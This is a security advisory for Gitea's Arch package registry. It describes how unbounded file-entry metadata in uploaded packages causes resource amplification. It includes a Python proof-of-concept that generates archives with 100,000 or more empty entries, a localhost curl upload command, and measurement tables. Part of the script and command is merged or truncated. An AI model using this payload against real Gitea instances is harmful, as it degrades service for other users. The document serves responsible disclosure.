GHSA-9mq6-mqjj-c2c5 Gitea: Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads

• Go code.gitea.io/gitea: < 1.27.0 → fixed in 1.27.0

Summary Hello Gitea Security Team, Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation. During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation. As a result, a relatively small compressed `.pkg.tar.gz` archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service. Suggested Severity Suggested severity: Medium Suggested CVSS 3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L` Suggested CVSS score: 4.3 This assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation. Affected Component • Gitea package registry • Arch package upload endpoint • Arch package metadata parsing • Arch repository index generation Technical Details The upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index. The relevant flow appears to include: • `routers/api/packages/arch/arch.go:46` accepts the upload stream. • `routers/api/packages/arch/arch.go:55` copies the upload into a `HashedBuffer`. • `routers/api/packages/arch/arch.go:62` parses the archive with `arch_module.ParsePackage`. • `modules/packages/arch/metadata.go:149` appends each non-dot regular tar entry name to `files`. • `modules/packages/arch/metadata.go:158` stores the full list as `p.FileMetadata.Files`. • `routers/api/packages/arch/arch.go:77` JSON-marshals the file metadata. • `routers/api/packages/arch/arch.go:143` persists the metadata as `arch_module.PropertyMetadata`. • `services/packages/arch/repository.go:302` deserializes the metadata during index generation. • `services/packages/arch/repository.go:365` joins the full file list into the generated `files` entry. From my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit. Impact An authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid `.PKGINFO` file and a large number of empty regular file entries. In my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository `files` index content to become much larger than the compressed upload size. The practical impact appears to be resource amplification affecting: • CPU usage during parsing and index generation • memory usage during metadata handling • database storage due to large serialized metadata • repository index generation size and processing time This seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages. Local Validation Results I tested this only on a local self-hosted Gitea instance. A 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte `arch.metadata` database property and a generated repository index whose `files` member contained 100,001 lines. A larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte `arch.metadata` database property and a generated repository `files` member with 500,001 lines. Proof of Concept The following proof of concept is intended only for a local self-hosted test instance. Save the following script as `generate_arch_metadata_test_package.py`: ```python !/usr/bin/env python3 from __future__ import annotations import argparse import gzip import io import tarfile from pathlib import Path PKGINFO = """pkgname = gitea-metadata-test pkgbase = gitea-metadata-test pkgver = 1.0.0-1 pkgdesc = Local metadata scaling test package url = https://example.invalid/ packager = local test arch = x86_64 license = MIT builddate = 1714521600 size = 0 """ def add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None: info = tarfile.TarInfo(name=name) info.size = len(data) info.mode = 0o644 tar.addfile(info, io.BytesIO(data)) def build_archive(output: Path, entries: int, name_width: int) -> None: output.parent.mkdir(parents=True, exist_ok=True) with output.open("wb") as raw: with gzip.GzipFile(fileobj=raw, mode="wb", compresslevel=9, mtime=0) as gz: with tarfile.open(fileobj=gz, mode="w|") as tar: add_bytes(tar, ".PKGINFO", PKGINFO.encode("utf-8")) for i in range(entries): name = f"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt" add_bytes(tar, name, b"") def main() -> None: parser = argparse.ArgumentParser( description="Generate a local Arch package test archive with many empty file entries.", ) parser.add_argument("--entries", type=int, default=100000) parser.add_argument("--name-width", type=int, default=8) parser.add_argument("--output", type=Path, default=Path("gitea-metadata-test.pkg.tar.gz")) args = parser.parse_args() if args.entries " \ --upload-file gitea-metadata-test-100k.pkg.tar.gz \ http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo ``` Observed local result: ```text HTTP_STATUS=201 TIME_TOTAL=0.482909 SIZE_UPLOAD=470403 ``` Additional Validation Parser-only measurements: | Entries | Compressed archive bytes | Parsed file entries | Metadata JSON bytes | Joined files bytes | Parse time | | ------: | -----------------------: | ------------------: | ------------------: | -----------------: | ---------: | | 25 | 477 | 25 | 1,237 | 1,074 | 0 ms | | 10,000 | 47,461 | 10,000 | 450,112 | 429,999 | 25 ms | | 100,000 | 470,403 | 100,000 | 4,500,112 | 4,299,999 | 264 ms | Local Gitea upload measurements: | Entries | Upload HTTP status | Upload time | Uploaded bytes | Stored metadata bytes | Stored file count | Repository index blob bytes | Extracted `files` lines | | ------: | -----------------: | ----------: | -------------: | --------------------: | ----------------: | --------------------------: | ----------------------: | | 10,000 | 201 | 0.243 s | 47,461 | 450,112 | 10,000 | 27,267 | …